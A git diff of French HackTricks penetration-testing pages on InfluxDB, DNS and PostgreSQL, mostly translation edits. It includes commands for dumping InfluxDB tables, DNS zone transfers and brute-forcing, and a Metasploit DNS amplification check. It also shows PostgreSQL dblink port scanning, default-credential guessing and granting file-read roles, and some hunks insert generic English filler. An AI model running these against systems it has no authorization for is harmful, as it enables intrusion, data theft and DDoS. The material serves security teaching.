-Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Obtenez un accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -120,7 +120,7 @@ D'autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/8086-pentesting-influxdb.md b/network-services-pentesting/8086-pentesting-influxdb.md index bc8f00e1b..ab47e97e9 100644 --- a/network-services-pentesting/8086-pentesting-influxdb.md +++ b/network-services-pentesting/8086-pentesting-influxdb.md @@ -1,10 +1,10 @@ -# 8086 - Test d'intrusion InfluxDB +# 8086 - Pentesting InfluxDB -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui à : +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -17,7 +17,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -33,7 +33,7 @@ PORT STATE SERVICE VERSION ``` ## Énumération -D'un point de vue de pentester, c'est une autre base de données qui pourrait stocker des informations sensibles, il est donc intéressant de savoir comment extraire toutes les informations. +D'un point de vue de pentester, il s'agit d'une autre base de données qui pourrait stocker des informations sensibles, il est donc intéressant de savoir comment extraire toutes les informations. ### Authentification @@ -66,7 +66,7 @@ _internal ``` #### Afficher les tables/measurements -La [**documentation d'InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) explique que les **measurements** dans InfluxDB peuvent être comparés aux tables SQL. La nomenclature de ces **measurements** est indicative de leur contenu respectif, chacun contenant des données pertinentes pour une entité particulière. +La [**documentation d'InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/) explique que les **measurements** dans InfluxDB peuvent être comparés aux tables SQL. La nomenclature de ces **measurements** est indicative de leur contenu respectif, chacun contenant des données pertinentes pour une entité particulière. ```bash > show measurements name: measurements @@ -104,9 +104,9 @@ inodes_used integer [ ... more keys ...] ``` -#### Table de vidage +#### Dump de Table -Et enfin, vous pouvez **vider la table** en faisant quelque chose comme +Et enfin, vous pouvez **dump la table** en faisant quelque chose comme ```bash select * from cpu name: cpu @@ -127,17 +127,17 @@ msf6 > use auxiliary/scanner/http/influxdb_enum Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ diff --git a/network-services-pentesting/pentesting-dns.md b/network-services-pentesting/pentesting-dns.md index df9f0cb01..617616447 100644 --- a/network-services-pentesting/pentesting-dns.md +++ b/network-services-pentesting/pentesting-dns.md @@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -
+
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests d'intrusion**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. @@ -22,7 +22,7 @@ Autres façons de soutenir HackTricks: ## **Informations de base** -Le **Système de noms de domaine (DNS)** sert de répertoire d'Internet, permettant aux utilisateurs d'accéder aux sites Web via des **noms de domaine faciles à retenir** comme google.com ou facebook.com, au lieu des adresses numériques du Protocole Internet (IP). En traduisant les noms de domaine en adresses IP, le DNS garantit que les navigateurs Web peuvent charger rapidement les ressources Internet, simplifiant ainsi notre navigation dans le monde en ligne. +Le **Système de noms de domaine (DNS)** sert de répertoire d'Internet, permettant aux utilisateurs d'accéder à des sites Web via des **noms de domaine faciles à retenir** comme google.com ou facebook.com, au lieu des adresses numériques du Protocole Internet (IP). En traduisant les noms de domaine en adresses IP, le DNS garantit que les navigateurs Web peuvent charger rapidement les ressources Internet, simplifiant ainsi notre navigation dans le monde en ligne. **Port par défaut:** 53 ``` @@ -33,18 +33,12 @@ PORT STATE SERVICE REASON ``` ### Différents serveurs DNS -- **Serveurs racine DNS**: Ils se trouvent en haut de la hiérarchie DNS, gérant les domaines de premier niveau et intervenant uniquement si les serveurs de niveaux inférieurs ne répondent pas. La Corporation Internet pour les Noms et les Nombres Attribués (**ICANN**) supervise leur fonctionnement, avec un total mondial de 13 serveurs. - -- **Serveurs de noms autoritaires**: Ces serveurs ont le dernier mot pour les requêtes dans leurs zones désignées, offrant des réponses définitives. S'ils ne peuvent pas fournir de réponse, la requête est renvoyée aux serveurs racine. - -- **Serveurs de noms non autoritaires**: Ne possédant pas les zones DNS, ces serveurs recueillent des informations de domaine via des requêtes à d'autres serveurs. - -- **Serveur DNS de mise en cache**: Ce type de serveur mémorise les réponses aux requêtes précédentes pendant un certain temps pour accélérer les temps de réponse pour les futures demandes, la durée du cache étant dictée par le serveur autoritaire. - -- **Serveur de transfert**: Jouant un rôle simple, les serveurs de transfert se contentent de relayer les requêtes vers un autre serveur. - -- **Résolveur**: Intégrés dans les ordinateurs ou routeurs, les résolveurs exécutent la résolution de noms localement et ne sont pas considérés comme autoritaires. - +* **Serveurs racine DNS**: Ils se trouvent en haut de la hiérarchie DNS, gérant les domaines de premier niveau et intervenant uniquement si les serveurs de niveaux inférieurs ne répondent pas. La Corporation Internet pour les noms et numéros attribués (**ICANN**) supervise leur fonctionnement, avec un total mondial de 13 serveurs. +* **Serveurs de noms autoritaires**: Ces serveurs ont le dernier mot pour les requêtes dans leurs zones désignées, offrant des réponses définitives. S'ils ne peuvent pas fournir de réponse, la requête est renvoyée aux serveurs racine. +* **Serveurs de noms non autoritaires**: Ne possédant pas de zones DNS, ces serveurs recueillent des informations de domaine via des requêtes à d'autres serveurs. +* **Serveur DNS en cache**: Ce type de serveur mémorise les réponses aux requêtes précédentes pendant un certain temps pour accélérer les temps de réponse pour les futures demandes, la durée du cache étant dictée par le serveur autoritaire. +* **Serveur de transfert**: Jouant un rôle simple, les serveurs de transfert se contentent de relayer les requêtes vers un autre serveur. +* **Résolveur**: Intégrés dans les ordinateurs ou routeurs, les résolveurs exécutent la résolution de noms localement et ne sont pas considérés comme autoritaires. ## Énumération @@ -57,7 +51,7 @@ dig version.bind CHAOS TXT @DNS ``` De plus, l'outil [`fpdns`](https://github.com/kirei/fpdns) peut également identifier le serveur. -Il est également possible de récupérer la bannière avec un script **nmap** : +Il est également possible de récupérer la bannière avec un script **nmap**: ``` --script dns-nsid ``` @@ -118,12 +112,12 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses dnsrecon -d active.htb -a -n #Zone transfer ``` {% hint style="info" %} -Si vous parvenez à trouver des sous-domaines résolvant vers des adresses IP internes, vous devriez essayer d'effectuer une recherche DNS inverse sur les serveurs de noms du domaine en demandant cette plage d'adresses IP. +Si vous parvenez à trouver des sous-domaines résolvant vers des adresses IP internes, vous devriez essayer d'effectuer une recherche DNS inverse sur les serveurs de noms du domaine demandant cette plage d'adresses IP. {% endhint %} Un autre outil pour le faire : [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) -Vous pouvez interroger des plages IP inverses sur [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (cet outil est également utile avec BGP). +Vous pouvez interroger les plages IP inverses sur [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (cet outil est également utile avec BGP). ### DNS - Recherche de sous-domaines BF ```bash @@ -154,28 +148,30 @@ Forcer en utilisant des requêtes "AAAA" pour recueillir les adresses IPv6 des s ```bash dnsdict6 -s -t ``` -## Bruteforce reverse DNS in using IPv6 addresses +Bruteforce reverse DNS in using IPv6 addresses + +--- ### Introduction -In IPv6, reverse DNS lookups are performed using the special domain `ip6.arpa`. To bruteforce reverse DNS in IPv6, you can use tools like `dnsrecon` or `dnsenum`. These tools allow you to enumerate IPv6 addresses and perform reverse DNS lookups to discover hostnames associated with them. +In IPv6 networks, reverse DNS lookup is performed by querying the PTR records in the `ip6.arpa` domain. To bruteforce reverse DNS for IPv6 addresses, you can use tools like `dnsrecon` or `dnsenum`. -### Steps to bruteforce reverse DNS in IPv6 +### Steps to Bruteforce Reverse DNS for IPv6 Addresses -1. **Enumerate IPv6 addresses**: Use tools like `dnsrecon` or `dnsenum` to enumerate IPv6 addresses within a given range. +1. **Generate IPv6 Addresses**: Use a tool like `ipv6gen` to generate a list of IPv6 addresses to bruteforce. -2. **Perform reverse DNS lookup**: Once you have a list of IPv6 addresses, use the same tools to perform reverse DNS lookups against the `ip6.arpa` domain. +2. **Perform Reverse DNS Lookup**: Use `dnsrecon` or `dnsenum` to perform reverse DNS lookup for each generated IPv6 address. -3. **Analyse results**: Analyse the results to identify any hostnames associated with the IPv6 addresses. This information can be useful for reconnaissance and identifying potential targets for further exploitation. +3. **Analyzing Results**: Analyze the results to identify any misconfigurations or potential security issues in the DNS setup. -By bruteforcing reverse DNS in IPv6, you can gather valuable information about the network and potentially uncover hidden services or devices. +By bruteforcing reverse DNS for IPv6 addresses, you can uncover potential vulnerabilities and strengthen the security of your network. ```bash dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net ``` ### Attaque DDoS de récursion DNS Si la **récursion DNS est activée**, un attaquant pourrait **usurper** l'**origine** du paquet UDP afin de faire en sorte que le **DNS envoie la réponse au serveur victime**. Un attaquant pourrait abuser des types d'enregistrements **ANY** ou **DNSSEC** car ils ont tendance à avoir des réponses plus volumineuses.\ -La manière de **vérifier** si un DNS prend en charge la **récursion** est d'interroger un nom de domaine et de **vérifier** si le drapeau "ra" (_récursion disponible_) est présent dans la réponse: +La manière de **vérifier** si un DNS prend en charge la **récursion** est d'interroger un nom de domaine et de **vérifier** si le **drapeau "ra"** (_récursion disponible_) est présent dans la réponse: ```bash dig google.com A @ ``` @@ -187,9 +183,9 @@ dig google.com A @ ![](<../.gitbook/assets/image (276).png>) -
+
-**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur permettre de gagner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur permettre de gagner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -199,9 +195,9 @@ En examinant une notification de non-distribution (NDN) déclenchée par un e-ma Le rapport de non-distribution fourni comprend des informations telles que : -- Le serveur émetteur a été identifié comme `server.example.com`. +- Le serveur générateur a été identifié comme `server.example.com`. - Un avis d'échec pour `user@example.com` avec le code d'erreur `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` a été renvoyé. -- Des adresses IP internes et des noms d'hôtes ont été divulgués dans les en-têtes du message d'origine. +- Les adresses IP internes et les noms d'hôtes ont été divulgués dans les en-têtes du message d'origine. ```markdown The original message headers were modified for anonymity and now present randomized data: @@ -240,9 +236,10 @@ host.conf | `allow-query` | Définit quels hôtes sont autorisés à envoyer des requêtes au serveur DNS. | | `allow-recursion` | Définit quels hôtes sont autorisés à envoyer des requêtes récursives au serveur DNS. | | `allow-transfer` | Définit quels hôtes sont autorisés à recevoir des transferts de zone du serveur DNS. | -| `zone-statistics` | Collecte des données statistiques sur les zones. | +| `zone-statistics` | Collecte des données statistiques des zones. | ## Références + * [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/) * Livre : **Network Security Assessment 3rd edition** ``` @@ -297,7 +294,7 @@ Description: DNS enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit' ``` -
+
**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. @@ -309,10 +306,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/pentesting-postgresql.md b/network-services-pentesting/pentesting-postgresql.md index 9d7fa5443..75bd079bd 100644 --- a/network-services-pentesting/pentesting-postgresql.md +++ b/network-services-pentesting/pentesting-postgresql.md @@ -1,22 +1,22 @@ # 5432,5433 - Pentesting Postgresql -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui à : +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -24,14 +24,14 @@ Autres façons de soutenir HackTricks : ## **Informations de base** -**PostgreSQL** est décrit comme un **système de base de données objet-relationnel** qui est **open source**. Ce système n'utilise pas seulement le langage SQL mais l'améliore également avec des fonctionnalités supplémentaires. Ses capacités lui permettent de gérer une large gamme de types de données et d'opérations, ce qui en fait un choix polyvalent pour les développeurs et les organisations. +**PostgreSQL** est décrit comme un système de base de données **relationnel-objet** qui est **open source**. Ce système n'utilise pas seulement le langage SQL mais l'améliore également avec des fonctionnalités supplémentaires. Ses capacités lui permettent de gérer une large gamme de types de données et d'opérations, en en faisant un choix polyvalent pour les développeurs et les organisations. **Port par défaut :** 5432, et si ce port est déjà utilisé, il semble que postgresql utilisera le port suivant (5433 probablement) qui n'est pas utilisé. ``` PORT STATE SERVICE 5432/tcp open pgsql ``` -## Connexion & Enumération de base +## Connexion & Énumération de base ```bash psql -U # Open psql console with user psql -h -U -d # Remote connection @@ -88,7 +88,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ``` ### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql) -### **Analyse de ports** +### **Balayage de ports** Selon [**cette recherche**](https://www.exploit-db.com/papers/13084), lorsqu'une tentative de connexion échoue, `dblink` lance une exception `sqlclient_unable_to_establish_sqlconnection` incluant une explication de l'erreur. Des exemples de ces détails sont énumérés ci-dessous. ```sql @@ -101,7 +101,7 @@ connect_timeout=10'); ``` * L'hôte est hors ligne -`DETAIL: impossible de se connecter au serveur : Aucun chemin d'accès vers l'hôte Est-ce que le serveur tourne sur l'hôte "1.2.3.4" et accepte les connexions TCP/IP sur le port 5678 ?` +`DETAIL: impossible de se connecter au serveur : Aucun chemin d'accès vers l'hôte. Le serveur tourne-t-il sur l'hôte "1.2.3.4" et accepte-t-il les connexions TCP/IP sur le port 5678 ?` * Le port est fermé ``` @@ -118,27 +118,43 @@ the server terminated abnormally before or while processing the request ### Enumeration -1. **Banner Grabbing**: Utilisez `telnet` pour vous connecter au port PostgreSQL (5432 par défaut) et récupérer la bannière. +When conducting a penetration test on a PostgreSQL database server, it is important to perform thorough enumeration to gather as much information as possible. This can include identifying the version of PostgreSQL running, checking for default credentials, enumerating databases, tables, and columns, and identifying stored procedures and functions. -2. **Nmap Scanning**: Utilisez Nmap pour scanner les ports et identifier les services PostgreSQL en cours d'exécution. +#### Version Detection -### Brute Forcing +To determine the version of PostgreSQL running on the server, you can use tools like `pg_version` or `pg_settings`. These tools can provide information about the version number, release date, and other relevant details. -1. **Metasploit Module**: Utilisez le module `postgresql_login` de Metasploit pour effectuer une attaque de force brute. +#### Default Credentials -2. **Hydra**: Utilisez l'outil Hydra pour effectuer une attaque de force brute contre le service PostgreSQL. +Always check for default credentials that may have been left unchanged on the PostgreSQL server. Common default credentials include `postgres:postgres` or `admin:admin`. Attempt to log in using these credentials to see if they work. + +#### Enumerating Databases, Tables, and Columns + +Use SQL queries to enumerate the databases, tables, and columns present on the PostgreSQL server. This information can help you understand the structure of the database and identify valuable data that may be of interest during the penetration test. + +#### Stored Procedures and Functions + +Identifying stored procedures and functions can provide insights into the functionality of the database server. Look for custom functions or procedures that may have been created by the developers to perform specific tasks. ### Exploitation -1. **Metasploit Module**: Utilisez le module `postgresql_payload` de Metasploit pour exploiter les vulnérabilités connues. +Once you have gathered sufficient information through enumeration, you can proceed with exploiting any vulnerabilities or misconfigurations present on the PostgreSQL server. This can include SQL injection attacks, privilege escalation, or exploiting weak authentication mechanisms. -2. **SQL Injection**: Exploitez les vulnérabilités d'injection SQL pour accéder aux données sensibles stockées dans la base de données PostgreSQL. +#### SQL Injection + +SQL injection attacks can be used to manipulate the database server by injecting malicious SQL code into input fields. Look for vulnerable parameters in web applications or other interfaces that interact with the PostgreSQL server. + +#### Privilege Escalation + +If you find a way to access the PostgreSQL server with limited privileges, look for opportunities to escalate your privileges to gain higher levels of access. This can involve exploiting misconfigurations or vulnerabilities in the server. + +#### Weak Authentication Mechanisms + +Weak authentication mechanisms, such as default or easily guessable passwords, can be exploited to gain unauthorized access to the PostgreSQL server. Always look for weak credentials that can be used to log in and potentially extract sensitive information. ### Post-Exploitation -1. **Dumping Data**: Utilisez des outils comme `pg_dump` pour extraire des données sensibles de la base de données PostgreSQL compromise. - -2. **Privilege Escalation**: Recherchez des moyens d'escalader les privilèges une fois que vous avez accès à la base de données PostgreSQL. +After successfully exploiting the PostgreSQL server, you can perform post-exploitation activities to maintain access, escalate privileges further, or exfiltrate data from the server. Be cautious and ensure that any actions taken are within the scope of the penetration test and authorized by the client. ``` ``` DETAIL: FATAL: password authentication failed for user "name" @@ -159,12 +175,12 @@ Dans les fonctions PL/pgSQL, il n'est actuellement pas possible d'obtenir les d | rolsuper | Le rôle a des privilèges de superutilisateur | | rolinherit | Le rôle hérite automatiquement des privilèges des rôles dont il est membre | | rolcreaterole | Le rôle peut créer d'autres rôles | -| rolcreatedb | Le rôle peut créer des bases de données | +| rolcreatedb | Le rôle peut créer des bases de données | | rolcanlogin | Le rôle peut se connecter. C'est-à-dire que ce rôle peut être donné en tant qu'identifiant d'autorisation de session initial | | rolreplication | Le rôle est un rôle de réplication. Un rôle de réplication peut initier des connexions de réplication et créer et supprimer des emplacements de réplication. | | rolconnlimit | Pour les rôles pouvant se connecter, cela définit le nombre maximal de connexions simultanées que ce rôle peut établir. -1 signifie aucune limite. | | rolpassword | Pas le mot de passe (toujours affiché comme `********`) | -| rolvaliduntil | Heure d'expiration du mot de passe (utilisée uniquement pour l'authentification par mot de passe) ; null s'il n'y a pas d'expiration | +| rolvaliduntil | Heure d'expiration du mot de passe (utilisée uniquement pour l'authentification par mot de passe) ; null s'il n'y a pas d'expiration | | rolbypassrls | Le rôle contourne chaque stratégie de sécurité au niveau des lignes, voir [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) pour plus d'informations. | | rolconfig | Valeurs par défaut spécifiques au rôle pour les variables de configuration à l'exécution | | oid | ID du rôle | @@ -176,7 +192,7 @@ Dans les fonctions PL/pgSQL, il n'est actuellement pas possible d'obtenir les d * Si vous êtes membre de **`pg_write_server_files`** vous pouvez **écrire** des fichiers {% hint style="info" %} -Notez que dans Postgres un **utilisateur**, un **groupe** et un **rôle** sont les **mêmes**. Cela dépend simplement de la **manière dont vous l'utilisez** et si vous **autorisez la connexion**. +Notez que dans Postgres un **utilisateur**, un **groupe** et un **rôle** sont les **mêmes**. Cela dépend simplement de la manière dont vous l'utilisez et si vous **autorisez la connexion**. {% endhint %} ```sql # Get users roles @@ -223,7 +239,7 @@ CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files; ``` ### Tables -Les tables dans une base de données PostgreSQL peuvent contenir des données sensibles telles que des informations utilisateur, des mots de passe et d'autres données confidentielles. Lors de l'évaluation de la sécurité d'une base de données PostgreSQL, il est important de vérifier les autorisations d'accès aux tables, les vulnérabilités connues et les configurations de sécurité. +Les tables dans une base de données PostgreSQL peuvent contenir des informations sensibles telles que des noms d'utilisateur, des mots de passe et d'autres données confidentielles. Lors de l'évaluation de la sécurité d'une base de données PostgreSQL, il est important de vérifier les autorisations d'accès aux tables, les vulnérabilités d'injection SQL et les configurations de sécurité faibles qui pourraient compromettre la confidentialité des données. ```sql # Get owners of tables select schemaname,tablename,tableowner from pg_tables; @@ -325,7 +341,7 @@ Une limitation très importante de cette technique est que **`copy` ne peut pas ### **Téléchargement de fichiers binaires** -Cependant, il existe **d'autres techniques pour télécharger de gros fichiers binaires :** +Cependant, il existe **d'autres techniques pour télécharger de gros fichiers binaires:** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} [big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md) @@ -333,36 +349,36 @@ Cependant, il existe **d'autres techniques pour télécharger de gros fichiers b ## -**Conseil de prime de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! +**Conseil de prime de bug**: **Inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**! {% embed url="https://go.intigriti.com/hacktricks" %} ### Mise à jour des données de table PostgreSQL via l'écriture de fichiers locaux -Si vous avez les autorisations nécessaires pour lire et écrire des fichiers serveur PostgreSQL, vous pouvez mettre à jour n'importe quelle table sur le serveur en **écrasant le nœud de fichier associé** dans [le répertoire de 